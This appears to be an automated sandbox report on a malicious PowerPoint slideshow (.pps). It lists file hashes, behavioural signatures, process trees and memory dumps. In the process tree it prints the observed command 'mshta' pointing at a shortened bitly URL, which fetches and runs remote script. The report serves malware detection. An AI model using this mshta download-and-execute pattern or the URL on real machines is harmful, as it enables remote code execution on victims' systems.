a1c7157e3d321dc5966c65601335e053edb2c4a1e6cf4f1f678b974a4f2dbf26

Analysis

max time kernel
76s
max time network
152s
platform
windows10_x64
resource
win10v20210410
submitted
20-07-2021 13:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199.pps
Size

81KB
MD5

059e79d36927bb230e90376aa7528015
SHA1

2448b57e97a917d01993c89b901ad2c21d413792
SHA256

71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199
SHA512

667451539ea0809ba9de6ea23d703d8641bf3d3df417fc0c48a13584b5cc6d3f1fc97468af98c3f8dbc73d4ed79e3f52aaee372a4a2f0d77019ba9328ec345fc

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1408	3904	mshta.exe	POWERPNT.EXE

Blocklisted process makes network request 11 IoCs

Processes:

mshta.exe

flow	pid	process
16	1408	mshta.exe
21	1408	mshta.exe
23	1408	mshta.exe
25	1408	mshta.exe
27	1408	mshta.exe
31	1408	mshta.exe
33	1408	mshta.exe
34	1408	mshta.exe
36	1408	mshta.exe
37	1408	mshta.exe
39	1408	mshta.exe

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

Processes:

DW20.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1356	3904	DW20.EXE	POWERPNT.EXE

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1776 1408 WerFault.exe mshta.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

3904 POWERPNT.EXE

pid	pid_target	process	target process
1776	1408	WerFault.exe	mshta.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

POWERPNT.EXEdwwin.exeWerFault.exe

pid	process
3904	POWERPNT.EXE
3904	POWERPNT.EXE
3364	dwwin.exe
3364	dwwin.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe
1776	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 1776 WerFault.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

POWERPNT.EXE

pid process

3904 POWERPNT.EXE

description	pid	process
Token: SeDebugPrivilege	1776	WerFault.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

POWERPNT.EXEDW20.EXE

description	pid	process	target process
PID 3904 wrote to memory of 1408	3904	POWERPNT.EXE	mshta.exe
PID 3904 wrote to memory of 1408	3904	POWERPNT.EXE	mshta.exe
PID 3904 wrote to memory of 1356	3904	POWERPNT.EXE	DW20.EXE
PID 3904 wrote to memory of 1356	3904	POWERPNT.EXE	DW20.EXE
PID 1356 wrote to memory of 3364	1356	DW20.EXE	dwwin.exe
PID 1356 wrote to memory of 3364	1356	DW20.EXE	dwwin.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199.pps" /ou ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3904

C:\Windows\SYSTEM32\mshta.exe
mshta https://www.bitly.com/eyuiqwhdbkmasbdma
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
PID:1408

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1408 -s 2724
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 3324
2⤵
- Process spawned suspicious child process
- Suspicious use of WriteProcessMemory
PID:1356

C:\Windows\system32\dwwin.exe
C:\Windows\system32\dwwin.exe -x -s 3324
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3364

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1356-264-0x00007FFA247C0000-0x00007FFA247D0000-memory.dmp

Filesize
64KB

Download
memory/1356-265-0x00007FFA247C0000-0x00007FFA247D0000-memory.dmp

Filesize
64KB

Download
memory/1356-263-0x00007FFA247C0000-0x00007FFA247D0000-memory.dmp

Filesize
64KB

Download
memory/1356-262-0x00007FFA247C0000-0x00007FFA247D0000-memory.dmp

Filesize
64KB

Download
memory/1356-255-0x0000000000000000-mapping.dmp

Download
memory/1408-252-0x0000000000000000-mapping.dmp

Download
memory/3364-261-0x0000000000000000-mapping.dmp

Download
memory/3904-117-0x00007FFA247C0000-0x00007FFA247D0000-memory.dmp

Filesize
64KB

Download
memory/3904-123-0x00007FFA3D900000-0x00007FFA3F7F5000-memory.dmp

Filesize
31.0MB

Download
memory/3904-122-0x00007FFA43560000-0x00007FFA4464E000-memory.dmp

Filesize
16.9MB

Download
memory/3904-119-0x00007FFA247C0000-0x00007FFA247D0000-memory.dmp

Filesize
64KB

Download
memory/3904-118-0x00007FFA47550000-0x00007FFA4912D000-memory.dmp

Filesize
27.9MB

Download
memory/3904-114-0x00007FFA247C0000-0x00007FFA247D0000-memory.dmp

Filesize
64KB

Download
memory/3904-116-0x00007FFA247C0000-0x00007FFA247D0000-memory.dmp

Filesize
64KB

Download
memory/3904-115-0x00007FFA247C0000-0x00007FFA247D0000-memory.dmp

Filesize
64KB

Download